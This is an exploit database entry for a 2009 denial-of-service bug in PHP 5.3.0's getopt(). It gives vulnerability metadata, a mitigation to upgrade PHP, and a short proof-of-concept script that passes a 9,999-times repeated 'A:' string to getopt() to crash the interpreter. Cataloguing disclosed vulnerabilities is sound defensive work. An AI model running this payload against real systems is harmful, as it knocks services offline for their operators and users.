header-logo
Suggest Exploit
vendor:
PHP
by:
Napst3r
7,5
CVSS
HIGH
Denial of service
400
CWE
Product Name: PHP
Affected Version From: 5.3.0
Affected Version To: 5.3.0
Patch Exists: YES
Related CWE: N/A
CPE: a:php:php:5.3.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: WIN XP FR SP3, WIN VISTA FR SP2, Apache
2009

PHP 5.3.0 getopt() Denial of service

A denial of service vulnerability exists in PHP 5.3.0 when using the getopt() function. By passing a large string of 'A:' characters, the getopt() function will cause a segmentation fault, resulting in a denial of service.

Mitigation:

Upgrade to a version of PHP greater than 5.3.0
Source

Exploit-DB raw data:

<?php
#####################################################################
## PHP 5.3.0 getopt() Denial of service
## Tested on WIN XP FR SP3, WIN VISTA FR SP2, Apache, PHP 5.3.0
## Denial of service
## Author: Napst3r
## Greets To: My Laptop &  all My Friends
#####################################################################

$buffer  = str_repeat('A:', 9999);
$options = getopt($buffer);

?>